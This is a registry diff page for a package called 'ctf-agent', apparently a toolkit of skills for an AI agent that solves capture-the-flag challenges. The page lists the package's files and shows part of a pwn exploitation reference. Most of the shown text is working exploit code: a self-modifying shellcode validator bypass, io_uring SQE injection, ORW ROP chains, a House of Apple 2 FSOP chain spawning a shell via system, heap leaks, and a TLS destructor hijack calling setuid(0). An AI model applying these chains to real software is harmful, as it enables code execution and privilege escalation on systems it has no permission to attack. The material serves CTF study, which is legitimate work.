ctf-agent 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/AGENTS.md +131 -0
- package/Dockerfile +192 -0
- package/README.md +522 -0
- package/agents/ctf-analyzer.md +58 -0
- package/agents/ctf-controller.md +151 -0
- package/agents/ctf-speedrun.md +74 -0
- package/bin/ctf-agent.js +119 -0
- package/docker-compose.yml +13 -0
- package/mcp_config.json +19 -0
- package/package.json +44 -0
- package/references/ctf-triage-ladder.md +68 -0
- package/references/exploit-databases.md +575 -0
- package/references/llm-safety-and-policy-compliance.md +173 -0
- package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
- package/references/security-events-and-intelligence.md +566 -0
- package/references/version-matrix.md +59 -0
- package/rules/ctf-execution-rules.md +44 -0
- package/rules/ctf-safety-framing-rules.md +140 -0
- package/rules/flag-validation-rules.md +25 -0
- package/scripts/__init__.py +1 -0
- package/scripts/ctf-tools.lock +205 -0
- package/scripts/ctf_init.py +1026 -0
- package/scripts/ctf_update.py +583 -0
- package/scripts/ctfd_client.py +81 -0
- package/scripts/cve_lookup.py +453 -0
- package/scripts/extract_flags.py +155 -0
- package/scripts/install_as_agent.py +278 -0
- package/scripts/install_ctf_tools.sh +603 -0
- package/scripts/parallel_triage.py +395 -0
- package/scripts/prompt_policy_sanitizer.py +283 -0
- package/scripts/scope_guard.py +444 -0
- package/scripts/skill_validator.py +504 -0
- package/scripts/workspace_cleaner.py +141 -0
- package/skills/ctf-ai-ml/SKILL.md +120 -0
- package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
- package/skills/ctf-ai-ml/llm-attacks.md +487 -0
- package/skills/ctf-ai-ml/model-attacks.md +422 -0
- package/skills/ctf-crypto/SKILL.md +320 -0
- package/skills/ctf-crypto/advanced-math.md +798 -0
- package/skills/ctf-crypto/classic-ciphers.md +651 -0
- package/skills/ctf-crypto/ecc-attacks.md +347 -0
- package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
- package/skills/ctf-crypto/exotic-crypto.md +528 -0
- package/skills/ctf-crypto/historical.md +113 -0
- package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
- package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
- package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
- package/skills/ctf-crypto/modern-ciphers.md +649 -0
- package/skills/ctf-crypto/prng-attacks.md +257 -0
- package/skills/ctf-crypto/prng.md +664 -0
- package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
- package/skills/ctf-crypto/rsa-attacks.md +487 -0
- package/skills/ctf-crypto/stream-ciphers.md +390 -0
- package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
- package/skills/ctf-forensics/3d-printing.md +121 -0
- package/skills/ctf-forensics/SKILL.md +379 -0
- package/skills/ctf-forensics/disk-advanced.md +497 -0
- package/skills/ctf-forensics/disk-and-memory.md +491 -0
- package/skills/ctf-forensics/disk-recovery.md +699 -0
- package/skills/ctf-forensics/linux-forensics.md +511 -0
- package/skills/ctf-forensics/network-advanced.md +583 -0
- package/skills/ctf-forensics/network.md +645 -0
- package/skills/ctf-forensics/peripheral-capture.md +287 -0
- package/skills/ctf-forensics/signals-and-hardware.md +713 -0
- package/skills/ctf-forensics/steganography.md +694 -0
- package/skills/ctf-forensics/stego-advanced-2.md +475 -0
- package/skills/ctf-forensics/stego-advanced.md +481 -0
- package/skills/ctf-forensics/stego-image.md +691 -0
- package/skills/ctf-forensics/windows.md +625 -0
- package/skills/ctf-malware/SKILL.md +181 -0
- package/skills/ctf-malware/c2-and-protocols.md +274 -0
- package/skills/ctf-malware/pe-and-dotnet.md +108 -0
- package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
- package/skills/ctf-misc/SKILL.md +498 -0
- package/skills/ctf-misc/bashjails.md +323 -0
- package/skills/ctf-misc/ctfd-navigation.md +465 -0
- package/skills/ctf-misc/dns.md +255 -0
- package/skills/ctf-misc/encodings-advanced.md +504 -0
- package/skills/ctf-misc/encodings.md +431 -0
- package/skills/ctf-misc/games-and-vms-2.md +254 -0
- package/skills/ctf-misc/games-and-vms-3.md +690 -0
- package/skills/ctf-misc/games-and-vms-4.md +229 -0
- package/skills/ctf-misc/games-and-vms.md +529 -0
- package/skills/ctf-misc/linux-privesc.md +333 -0
- package/skills/ctf-misc/pyjails.md +671 -0
- package/skills/ctf-misc/rf-sdr.md +91 -0
- package/skills/ctf-osint/SKILL.md +198 -0
- package/skills/ctf-osint/geolocation-and-media.md +464 -0
- package/skills/ctf-osint/social-media.md +312 -0
- package/skills/ctf-osint/web-and-dns.md +341 -0
- package/skills/ctf-pwn/SKILL.md +214 -0
- package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
- package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
- package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
- package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
- package/skills/ctf-pwn/advanced-exploits.md +773 -0
- package/skills/ctf-pwn/advanced.md +326 -0
- package/skills/ctf-pwn/field-notes.md +245 -0
- package/skills/ctf-pwn/format-string.md +694 -0
- package/skills/ctf-pwn/heap-fsop.md +285 -0
- package/skills/ctf-pwn/heap-techniques-2.md +333 -0
- package/skills/ctf-pwn/heap-techniques.md +513 -0
- package/skills/ctf-pwn/kernel-bypass.md +421 -0
- package/skills/ctf-pwn/kernel-techniques.md +366 -0
- package/skills/ctf-pwn/kernel.md +636 -0
- package/skills/ctf-pwn/overflow-basics.md +611 -0
- package/skills/ctf-pwn/rop-advanced.md +725 -0
- package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
- package/skills/ctf-pwn/sandbox-escape.md +313 -0
- package/skills/ctf-reverse/SKILL.md +163 -0
- package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
- package/skills/ctf-reverse/anti-analysis.md +693 -0
- package/skills/ctf-reverse/field-notes.md +376 -0
- package/skills/ctf-reverse/languages-compiled.md +666 -0
- package/skills/ctf-reverse/languages-platforms.md +592 -0
- package/skills/ctf-reverse/languages.md +553 -0
- package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
- package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
- package/skills/ctf-reverse/patterns-ctf.md +670 -0
- package/skills/ctf-reverse/patterns-runtime.md +274 -0
- package/skills/ctf-reverse/patterns.md +572 -0
- package/skills/ctf-reverse/platforms-hardware.md +387 -0
- package/skills/ctf-reverse/platforms.md +664 -0
- package/skills/ctf-reverse/tools-advanced-2.md +421 -0
- package/skills/ctf-reverse/tools-advanced.md +407 -0
- package/skills/ctf-reverse/tools-dynamic.md +679 -0
- package/skills/ctf-reverse/tools-emulation.md +319 -0
- package/skills/ctf-reverse/tools.md +573 -0
- package/skills/ctf-web/SKILL.md +153 -0
- package/skills/ctf-web/auth-and-access-2.md +82 -0
- package/skills/ctf-web/auth-and-access.md +783 -0
- package/skills/ctf-web/auth-infra.md +321 -0
- package/skills/ctf-web/auth-jwt.md +186 -0
- package/skills/ctf-web/client-side-advanced.md +739 -0
- package/skills/ctf-web/client-side.md +529 -0
- package/skills/ctf-web/cves.md +373 -0
- package/skills/ctf-web/field-notes.md +482 -0
- package/skills/ctf-web/node-and-prototype.md +200 -0
- package/skills/ctf-web/server-side-2.md +337 -0
- package/skills/ctf-web/server-side-advanced-2.md +559 -0
- package/skills/ctf-web/server-side-advanced-3.md +125 -0
- package/skills/ctf-web/server-side-advanced-4.md +480 -0
- package/skills/ctf-web/server-side-advanced.md +378 -0
- package/skills/ctf-web/server-side-deser.md +443 -0
- package/skills/ctf-web/server-side-exec-2.md +799 -0
- package/skills/ctf-web/server-side-exec.md +457 -0
- package/skills/ctf-web/server-side.md +629 -0
- package/skills/ctf-web/sql-injection.md +790 -0
- package/skills/ctf-web/web3.md +374 -0
- package/skills/ctf-writeup/SKILL.md +90 -0
- package/skills/solve-challenge/SKILL.md +269 -0
- package/skills.json +16 -0
|
@@ -0,0 +1,579 @@
|
|
|
1
|
+
# CTF Pwn - Advanced Exploit Techniques (Part 2)
|
|
2
|
+
|
|
3
|
+
## Table of Contents
|
|
4
|
+
- [Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)](#bytecode-validator-bypass-via-self-modification-srdnlenctf-2026)
|
|
5
|
+
- [io_uring UAF with SQE Injection (ApoorvCTF 2026)](#io_uring-uaf-with-sqe-injection-apoorvctf-2026)
|
|
6
|
+
- [Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)](#integer-truncation-bypass-int32-to-int16-apoorvctf-2026)
|
|
7
|
+
- [GC Null-Reference Cascading Corruption (DiceCTF 2026)](#gc-null-reference-cascading-corruption-dicectf-2026)
|
|
8
|
+
- [Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)](#leakless-libc-via-multi-fgets-stdout-file-overwrite-midnightflag-2026)
|
|
9
|
+
- [Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)](#signedunsigned-char-underflow-to-heap-overflow--tls-destructor-hijack-midnightflag-2026)
|
|
10
|
+
- [XOR Cipher Keystream Brute-Force Write Primitive](#xor-cipher-keystream-brute-force-write-primitive)
|
|
11
|
+
- [Tcache Pointer Decryption for Heap Leak](#tcache-pointer-decryption-for-heap-leak)
|
|
12
|
+
- [Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)](#forging-chunk-size-for-unsorted-bin-promotion-libc-leak)
|
|
13
|
+
- [FSOP Stdout Redirection for TLS Segment Leak](#fsop-stdout-redirection-for-tls-segment-leak)
|
|
14
|
+
- [TLS Destructor Overwrite for RCE via `__call_tls_dtors`](#tls-destructor-overwrite-for-rce-via-__call_tls_dtors)
|
|
15
|
+
- [Custom Shadow Stack Bypass via Pointer Overflow (Midnight 2026)](#custom-shadow-stack-bypass-via-pointer-overflow-midnight-2026)
|
|
16
|
+
- [Signed Int Overflow to Negative OOB Heap Write + XSS-to-Binary Pwn Bridge (Midnight 2026)](#signed-int-overflow-to-negative-oob-heap-write--xss-to-binary-pwn-bridge-midnight-2026)
|
|
17
|
+
- [Heap Primitive: Signed Int Overflow in Index Calculation](#heap-primitive-signed-int-overflow-in-index-calculation)
|
|
18
|
+
- [Full Exploitation Chain](#full-exploitation-chain)
|
|
19
|
+
- [XSS-to-Binary Pwn Bridge](#xss-to-binary-pwn-bridge)
|
|
20
|
+
- [atexit PTR_MANGLE Secret Recovery via Arbitrary Read (0x00CTF 2017)](#atexit-ptr_mangle-secret-recovery-via-arbitrary-read-0x00ctf-2017)
|
|
21
|
+
|
|
22
|
+
---
|
|
23
|
+
|
|
24
|
+
## Bytecode Validator Bypass via Self-Modification (srdnlenCTF 2026)
|
|
25
|
+
|
|
26
|
+
**Pattern (Registered Stack):** Bytecode validator only checks initial bytes; runtime self-modification converts validated instructions into forbidden ones (e.g., `push fs` → `syscall`).
|
|
27
|
+
|
|
28
|
+
**Key technique:** `push fs` encodes as `0f a0`, and `syscall` as `0f 05`. The validator accepts `push fs`, but at runtime a preceding `push rbx` overwrites the `a0` byte with `05` on the stack, turning it into `syscall`.
|
|
29
|
+
|
|
30
|
+
**Exploit structure:**
|
|
31
|
+
1. Use `pop` instructions to adjust rsp to a predictable memory bucket (~1/16 probability due to ASLR)
|
|
32
|
+
2. Seed specific stack values for `pop sp` instruction (pivots to controlled location)
|
|
33
|
+
3. Place `syscall` gadget disguised as `push fs` with self-modifying byte mutation
|
|
34
|
+
4. Use `read(0, stage2_buf, size)` syscall to load stage 2
|
|
35
|
+
5. Stage 2 contains interactive shell code
|
|
36
|
+
|
|
37
|
+
```python
|
|
38
|
+
code = []
|
|
39
|
+
code += [0x59] * 30 # pop rcx x30 → rsp += 0xf0
|
|
40
|
+
code += [0x66, 0x5c] # pop sp → pivot to seeded value
|
|
41
|
+
code += [0x50] * 17 # push rax x17 (adjust stack)
|
|
42
|
+
code += [0x66, 0x50] # push ax
|
|
43
|
+
code += [0x66, 0x54, 0x66, 0x5b] # push sp; pop bx (rbx = count for read)
|
|
44
|
+
code += [0x50] * 66 # push rax x66
|
|
45
|
+
code += [0x66, 0x59] # pop cx
|
|
46
|
+
code += [0x53] # push rbx → overwrites next byte!
|
|
47
|
+
# Following bytes: 0x54 0x5e 0x53 0x5a 0x54 0x0f 0xa0
|
|
48
|
+
# After push rbx mutates 0xa0 → 0x05: becomes syscall
|
|
49
|
+
code += [0x54, 0x5e, 0x53, 0x5a, 0x54, 0x0f, 0xa0]
|
|
50
|
+
```
|
|
51
|
+
|
|
52
|
+
**Key insight:** Bytecode validators that only check the instruction stream statically are vulnerable to self-modification at runtime. Look for instruction pairs where one byte difference changes the instruction's semantics (e.g., `0f a0` → `0f 05`). Use preceding instructions to write the mutation byte onto the stack/code region.
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## io_uring UAF with SQE Injection (ApoorvCTF 2026)
|
|
57
|
+
|
|
58
|
+
**Pattern (Abyss):** Multi-threaded binary with custom slab allocator and io_uring worker thread. A FLUSH operation frees objects but preserves dangling pointers, creating UAF. Type confusion between freed/reallocated objects enables injection of io_uring SQE (Submission Queue Entry) structures.
|
|
59
|
+
|
|
60
|
+
**Exploitation chain:**
|
|
61
|
+
1. Exhaust both slab allocators (fill all slots)
|
|
62
|
+
2. Leak PIE base from STATUS response
|
|
63
|
+
3. FLUSH frees objects (UAF — pointers remain valid)
|
|
64
|
+
4. Allocate different type into freed slots (type confusion via exhausted secondary slab falling back to primary)
|
|
65
|
+
5. Write crafted io_uring SQE into reused memory
|
|
66
|
+
6. Worker thread submits SQE as-is → `IORING_OP_OPENAT` opens flag file
|
|
67
|
+
|
|
68
|
+
**io_uring SQE structure for file read:**
|
|
69
|
+
```python
|
|
70
|
+
import struct
|
|
71
|
+
|
|
72
|
+
def craft_sqe(pie_base, flag_path_offset=0x6010):
|
|
73
|
+
sqe = bytearray(64)
|
|
74
|
+
struct.pack_into('B', sqe, 0, 0x12) # opcode = IORING_OP_OPENAT
|
|
75
|
+
struct.pack_into('i', sqe, 4, -100) # fd = AT_FDCWD
|
|
76
|
+
struct.pack_into('Q', sqe, 16, pie_base + flag_path_offset) # addr = "/flag.txt"
|
|
77
|
+
return bytes(sqe)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
**Key insight:** io_uring's kernel-side processing trusts SQE contents from userland shared memory. If an attacker controls the SQE buffer via UAF/type confusion, arbitrary kernel operations (file open, read, write) execute without syscall filtering. XOR-encoded slab freelists add complexity but don't prevent logical UAF when FLUSH clears objects without NULLing all references.
|
|
81
|
+
|
|
82
|
+
**Detection:** Binary uses `io_uring_setup`/`io_uring_enter` syscalls, custom allocator with FLUSH/cleanup operations, multiple threads sharing memory.
|
|
83
|
+
|
|
84
|
+
---
|
|
85
|
+
|
|
86
|
+
## Integer Truncation Bypass int32 to int16 (ApoorvCTF 2026)
|
|
87
|
+
|
|
88
|
+
**Pattern (Archive):** Input validated as int32 (>= 0), then cast to int16_t for bounds check (<= 3). Values 65534-65535 pass the int32 check but become -2/-1 as int16_t, enabling OOB array access.
|
|
89
|
+
|
|
90
|
+
```python
|
|
91
|
+
# Value 65534: int32=65534 (passes >= 0), int16=-2 (passes <= 3)
|
|
92
|
+
# ring_array[-2] reads 16 bytes before array → leaks GOT/PIE pointers
|
|
93
|
+
payload = str(65534).encode() # Sends as positive int, server casts to int16
|
|
94
|
+
```
|
|
95
|
+
|
|
96
|
+
**Dynamic fd capture via `xchg rdi, rax`:**
|
|
97
|
+
|
|
98
|
+
In Docker/socat environments, `open()` may return fd 4+ instead of 3 (extra inherited fds). Hardcoding fd=3 in ORW ROP chains fails.
|
|
99
|
+
|
|
100
|
+
```python
|
|
101
|
+
# Standard ORW fails in Docker:
|
|
102
|
+
# open("/flag.txt") → fd=5 (not 3!)
|
|
103
|
+
# read(3, buf, size) → reads wrong fd
|
|
104
|
+
|
|
105
|
+
# Fix: xchg rdi, rax captures open()'s return value dynamically
|
|
106
|
+
rop = ROP(libc)
|
|
107
|
+
rop.raw(pop_rdi)
|
|
108
|
+
rop.raw(flag_str_addr)
|
|
109
|
+
rop.raw(pop_rsi)
|
|
110
|
+
rop.raw(0) # O_RDONLY
|
|
111
|
+
rop.raw(libc.sym.open)
|
|
112
|
+
rop.raw(libc_base + 0x181fe1) # xchg rdi, rax; cld; ret
|
|
113
|
+
# rdi now holds actual fd from open()
|
|
114
|
+
rop.raw(pop_rsi)
|
|
115
|
+
rop.raw(buf_addr)
|
|
116
|
+
rop.raw(pop_rdx_xor_eax) # pop rdx; xor eax, eax; ret (dual-purpose!)
|
|
117
|
+
rop.raw(0x100) # rdx = size, eax = 0 (SYS_read)
|
|
118
|
+
rop.raw(libc.sym.read) # read(actual_fd, buf, 0x100)
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
**Key insight:** `xchg rdi, rax; cld; ret` is the critical gadget for containerized ORW — it passes `open()`'s actual return value to `read()` without hardcoding the fd number. The `pop rdx; xor eax, eax; ret` gadget serves double duty: sets rdx for read size AND clears eax to 0 (SYS_read syscall number).
|
|
122
|
+
|
|
123
|
+
---
|
|
124
|
+
|
|
125
|
+
## GC Null-Reference Cascading Corruption (DiceCTF 2026)
|
|
126
|
+
|
|
127
|
+
**Pattern (Garden):** Custom stack-based VM with mark-compact GC. GC's `mark_reachable()` follows null references (ref=0) to address 0 of the managed heap (zeroed reserved area), creating a fake 4-byte object. During compaction, `memmove` copies this fake object first, corrupting adjacent real object headers.
|
|
128
|
+
|
|
129
|
+
**Exploit chain:**
|
|
130
|
+
1. **Cascading memmove** — Set up sacrificial array SAC with `entries[0]=0xFFFF`, large array BIG (196 entries) with `entries[195]=0x00040005`, off-heap object OH
|
|
131
|
+
- Null-ref GC corrupts SAC's header to `{0,0}` (length=0)
|
|
132
|
+
- SAC's entry `0xFFFF` cascades into BIG's header → BIG.length = 0xFFFF (OOB!)
|
|
133
|
+
- BIG's entry `0x00040005` cascades into OH's header → OH stays valid
|
|
134
|
+
|
|
135
|
+
2. **OOB expansion** — Use BIG's OOB write to set OH.obj_size = 0x10000, giving 256KB OOB access on glibc heap
|
|
136
|
+
|
|
137
|
+
3. **Libc leak** — Create 70+ extra objects so GC's `ctx.objs` allocation exceeds 0x410 bytes → freed to unsorted bin → `main_arena` pointers readable via OH
|
|
138
|
+
|
|
139
|
+
4. **House of Apple 2 FSOP** — Build fake FILE in OH's data buffer:
|
|
140
|
+
```python
|
|
141
|
+
# Fake FILE structure
|
|
142
|
+
fake_file = flat({
|
|
143
|
+
0x00: b'$0\x00\x00', # _flags — system("$0") spawns shell
|
|
144
|
+
0x20: p64(0), # _IO_write_base = 0
|
|
145
|
+
0x28: p64(1), # _IO_write_ptr = 1 (> write_base)
|
|
146
|
+
0x88: p64(heap_lock_addr), # _lock (valid writable addr)
|
|
147
|
+
0xa0: p64(wide_data_addr), # _wide_data
|
|
148
|
+
0xc0: p64(1), # _mode = 1 (triggers wide path)
|
|
149
|
+
0xd8: p64(io_wfile_jumps), # vtable = _IO_wfile_jumps
|
|
150
|
+
})
|
|
151
|
+
# Fake _IO_wide_data
|
|
152
|
+
fake_wide = flat({
|
|
153
|
+
0x18: p64(0), # _IO_write_base = 0
|
|
154
|
+
0x30: p64(0), # _IO_buf_base = 0
|
|
155
|
+
0xe0: p64(fake_wide_vtable_addr), # _wide_vtable
|
|
156
|
+
})
|
|
157
|
+
# Fake wide vtable with __doallocate = system
|
|
158
|
+
fake_wide_vtable = flat({
|
|
159
|
+
0x68: p64(libc.sym.system),
|
|
160
|
+
})
|
|
161
|
+
# Overwrite _IO_list_all to point to fake FILE
|
|
162
|
+
```
|
|
163
|
+
|
|
164
|
+
5. **Trigger** — Program exit → `_IO_flush_all` → fake FILE → `_IO_wfile_overflow` → `_IO_wdoallocbuf` → `system("$0")` → shell
|
|
165
|
+
|
|
166
|
+
**`system("$0")` trick:** `$0` expands to the shell name when run via `system()`. Using `"$0\x00\x00"` as `_flags` means `system(fp)` calls `system("$0")` which spawns a shell.
|
|
167
|
+
|
|
168
|
+
**Key insight:** Mark-compact GC that follows null references creates controllable corruption. The cascade effect — where one corrupted header causes memmove to misalign subsequent objects — amplifies a small initial corruption into full OOB access. Combined with FSOP, this achieves code execution from a VM-level bug.
|
|
169
|
+
|
|
170
|
+
**STORE array pattern for VM stack management:** When VM only has DUP/SWAP/DROP/DUP_X1, allocate an array object to hold references (via SET_ELEM_OBJ/GET_ELEM_OBJ), enabling random access to values that would otherwise require complex stack juggling.
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Leakless Libc via Multi-fgets stdout FILE Overwrite (Midnightflag 2026)
|
|
175
|
+
|
|
176
|
+
**Pattern (Eyeless):** No direct libc leak available (no format string, no UAF, no unsorted bin). Construct a fake `stdout` FILE structure on BSS via ROP, then call `fflush(stdout)` to leak a GOT entry containing a libc address.
|
|
177
|
+
|
|
178
|
+
**The null byte problem:** `fgets` appends `\x00` after reading. Libc pointers are 6 bytes + 2 null MSBs (`0x00007f...`). Writing an 8-byte pointer via `fgets` corrupts the byte after it with `\x00`. Directly writing adjacent FILE struct fields is impossible without corruption.
|
|
179
|
+
|
|
180
|
+
**Multi-fgets solution:** Chain multiple `fgets(addr, 7, stdin)` calls, each writing 7 bytes. The null byte from each `fgets` lands on the next field's null MSB (harmless for libc pointers):
|
|
181
|
+
|
|
182
|
+
```python
|
|
183
|
+
# Build ROP chain that calls fgets multiple times to construct stdout on BSS
|
|
184
|
+
# Each call writes 7 bytes; null byte falls on canonical address's 0x00 MSB
|
|
185
|
+
FAKE_STDOUT = BSS + 0x800
|
|
186
|
+
|
|
187
|
+
# Write _flags field
|
|
188
|
+
rop += fgets_call(FAKE_STDOUT, 7) # write 0xfbad2087 + padding
|
|
189
|
+
# Write _IO_write_base = GOT address (the value to leak)
|
|
190
|
+
rop += fgets_call(FAKE_STDOUT + 0x20, 7) # write &fflush@GOT
|
|
191
|
+
# Write _IO_write_end = GOT address + 8 (controls how many bytes leak)
|
|
192
|
+
rop += fgets_call(FAKE_STDOUT + 0x28, 7) # write &fflush@GOT + 8
|
|
193
|
+
# ... (zero-fill remaining fields via earlier memset or BSS zeroes)
|
|
194
|
+
|
|
195
|
+
# Overwrite stdout pointer and flush
|
|
196
|
+
rop += flat(POP_RDI, FAKE_STDOUT)
|
|
197
|
+
rop += flat(elf.plt['fflush']) # fflush(fake_stdout) → writes GOT content
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
**Receiving the leak:**
|
|
201
|
+
```python
|
|
202
|
+
# fflush writes 8 bytes from _IO_write_base to _IO_write_end
|
|
203
|
+
leak = u64(p.recv(8))
|
|
204
|
+
libc_base = leak - libc.sym.fflush
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
**Key insight:** `fgets` always appends `\x00`, but libc addresses already end with `\x00\x00` in their two MSBs. Writing in 7-byte chunks means the appended null overwrites a byte that is already null. This enables constructing complex structures (FILE, vtables) in BSS without a prior libc leak.
|
|
208
|
+
|
|
209
|
+
**When to use:** Binary has `fgets` or similar input function in PLT, a writable BSS/data region, but no existing leak primitive. Requires ROP control (stack pivot) to chain the multiple `fgets` calls.
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
## Signed/Unsigned Char Underflow to Heap Overflow + TLS Destructor Hijack (Midnightflag 2026)
|
|
214
|
+
|
|
215
|
+
**Pattern (heapn⊕te-ic):** Message structure stores size as `signed char` but encryption/display casts to `unsigned char`. Passing `size = -112` stores as `char(-112)`, but `(unsigned char)(-112) = 144`. With a 127-byte buffer, this gives a 17-byte heap overflow.
|
|
216
|
+
|
|
217
|
+
**Key insight:** The signed/unsigned char mismatch is a single-byte integer type — unlike int32→int16 truncation, this exploits the implicit promotion from `char` to `unsigned char` in C, common when size fields use `char` instead of `size_t`.
|
|
218
|
+
|
|
219
|
+
### XOR Cipher Keystream Brute-Force Write Primitive
|
|
220
|
+
|
|
221
|
+
The challenge uses a deterministic XOR cipher with djb2 hash chain as keystream:
|
|
222
|
+
|
|
223
|
+
```python
|
|
224
|
+
def hash_string(s):
|
|
225
|
+
h = 5381
|
|
226
|
+
for c in s:
|
|
227
|
+
h = (((h << 5) + h) + c) & 0xFFFFFFFFFFFFFFFF
|
|
228
|
+
return h
|
|
229
|
+
|
|
230
|
+
def get_keystream_byte(seed, x):
|
|
231
|
+
h = hash_string(str(seed).encode())
|
|
232
|
+
for _ in range(x // 8):
|
|
233
|
+
h = hash_string(str(h).encode())
|
|
234
|
+
return p64(h)[x % 8]
|
|
235
|
+
|
|
236
|
+
def brute_seed(x, target_byte):
|
|
237
|
+
for seed in range(0xFFFFFFFF):
|
|
238
|
+
if get_keystream_byte(seed, x) == target_byte:
|
|
239
|
+
return seed
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
**Key insight:** Deterministic keystream from a brute-forceable seed space enables targeted byte writes via XOR. Each byte position requires finding a seed that produces the desired keystream byte, then XORing with plaintext to write exactly that byte.
|
|
243
|
+
|
|
244
|
+
**Byte-by-byte write primitive:**
|
|
245
|
+
```python
|
|
246
|
+
def write_byte(pos, target_byte, idx, leak=False):
|
|
247
|
+
add(underflow(pos), b"A", brute_seed(pos, target_byte))
|
|
248
|
+
if leak:
|
|
249
|
+
data = view(idx)
|
|
250
|
+
delete(idx)
|
|
251
|
+
add(underflow(pos+1), b"A", brute_seed(pos, target_byte))
|
|
252
|
+
delete(idx)
|
|
253
|
+
return data
|
|
254
|
+
|
|
255
|
+
def overflow_write(offset, payload, idx):
|
|
256
|
+
for i, byte in enumerate(payload):
|
|
257
|
+
write_byte(offset + i, byte, idx)
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### Tcache Pointer Decryption for Heap Leak
|
|
261
|
+
|
|
262
|
+
Allocate two chunks, free in LIFO order. The mangled tcache `fd` pointer (glibc 2.32+ safe-linking) stored in the freed chunk can be decoded:
|
|
263
|
+
|
|
264
|
+
```python
|
|
265
|
+
# fd is mangled: fd = ptr ^ (chunk_addr >> 12)
|
|
266
|
+
# When first tcache entry points to NULL (second free):
|
|
267
|
+
# fd = 0 ^ (chunk_addr >> 12) = chunk_addr >> 12
|
|
268
|
+
# Shift left to recover: heap_addr = fd_pointer << 12
|
|
269
|
+
heap_leak = u64(leaked_fd) << 12
|
|
270
|
+
```
|
|
271
|
+
|
|
272
|
+
**Key insight:** The first entry in a tcache bin has `fd = NULL ^ (addr >> 12)`, so `fd << 12` directly yields the heap base region. No brute-force needed.
|
|
273
|
+
|
|
274
|
+
### Forging Chunk Size for Unsorted Bin Promotion (Libc Leak)
|
|
275
|
+
|
|
276
|
+
To get a libc leak from tcache-sized chunks, forge the next chunk's size header to ≥0x420 (minimum for unsorted bin):
|
|
277
|
+
|
|
278
|
+
```python
|
|
279
|
+
# Overwrite adjacent chunk's size field to 0x431
|
|
280
|
+
overflow_write(size_offset, p64(0x431), chunk_idx)
|
|
281
|
+
# Ensure fake next_chunk passes: next_chunk.size & PREV_INUSE set
|
|
282
|
+
# next_chunk + 0x431 must point to a region with valid size field
|
|
283
|
+
# Free the forged chunk → pushed to unsorted bin
|
|
284
|
+
# fd/bk now point to main_arena+96
|
|
285
|
+
libc_base = u64(leaked_fd) - 0x203b20 # offset to main_arena+96
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
**Key insight:** Any chunk can be promoted to unsorted bin by forging its size ≥0x420. The consistency check requires that `chunk_at_offset(p, size)->size` has `PREV_INUSE` set and is reasonable. Pre-place valid metadata at that boundary.
|
|
289
|
+
|
|
290
|
+
### FSOP Stdout Redirection for TLS Segment Leak
|
|
291
|
+
|
|
292
|
+
Tcache poison toward `_IO_2_1_stdout_ - 0x20` to craft a fake FILE structure that leaks the TLS segment address:
|
|
293
|
+
|
|
294
|
+
```python
|
|
295
|
+
# Poison tcache to allocate at _IO_2_1_stdout_ - 0x20
|
|
296
|
+
# Craft fake FILE with _IO_write_base pointing to TLS area
|
|
297
|
+
# When stdout flushes, it writes from _IO_write_base to _IO_write_ptr
|
|
298
|
+
# Scan output for address ending in 0x...740 (TLS alignment pattern)
|
|
299
|
+
# TLS mangle cookie is at tls_addr + 0x30
|
|
300
|
+
```
|
|
301
|
+
|
|
302
|
+
**Key insight:** Redirecting `_IO_write_base` of stdout leaks arbitrary memory on the next write. TLS addresses have recognizable alignment patterns — scan the leaked data for them.
|
|
303
|
+
|
|
304
|
+
### TLS Destructor Overwrite for RCE via `__call_tls_dtors`
|
|
305
|
+
|
|
306
|
+
The TLS destructor list (`__tls_dtor_list`) contains entries with function pointers mangled using the pointer guard (stored in TLS). Overwriting this list with crafted entries achieves RCE:
|
|
307
|
+
|
|
308
|
+
```python
|
|
309
|
+
def rol(val, bits, width=64):
|
|
310
|
+
return ((val << bits) | (val >> (width - bits))) & ((1 << width) - 1)
|
|
311
|
+
|
|
312
|
+
# Mangle function pointers with leaked pointer guard
|
|
313
|
+
pointer_guard = tls_leak # from stdout FSOP leak
|
|
314
|
+
encoded_setuid = rol(libc.sym.setuid ^ pointer_guard, 0x11)
|
|
315
|
+
encoded_system = rol(libc.sym.system ^ pointer_guard, 0x11)
|
|
316
|
+
|
|
317
|
+
# Craft TLS destructor list node
|
|
318
|
+
# struct dtor_list { dtor_func func; void *obj; struct dtor_list *next; }
|
|
319
|
+
node1 = p64(0) * 2 # padding
|
|
320
|
+
node1 += p64(0x111) # fake chunk size
|
|
321
|
+
node1 += p64(encoded_setuid) # func = setuid(0)
|
|
322
|
+
node1 += p64(0) # obj = 0 (root)
|
|
323
|
+
node1 += p64(heap_addr + node2_offset) * 2 # next → node2
|
|
324
|
+
|
|
325
|
+
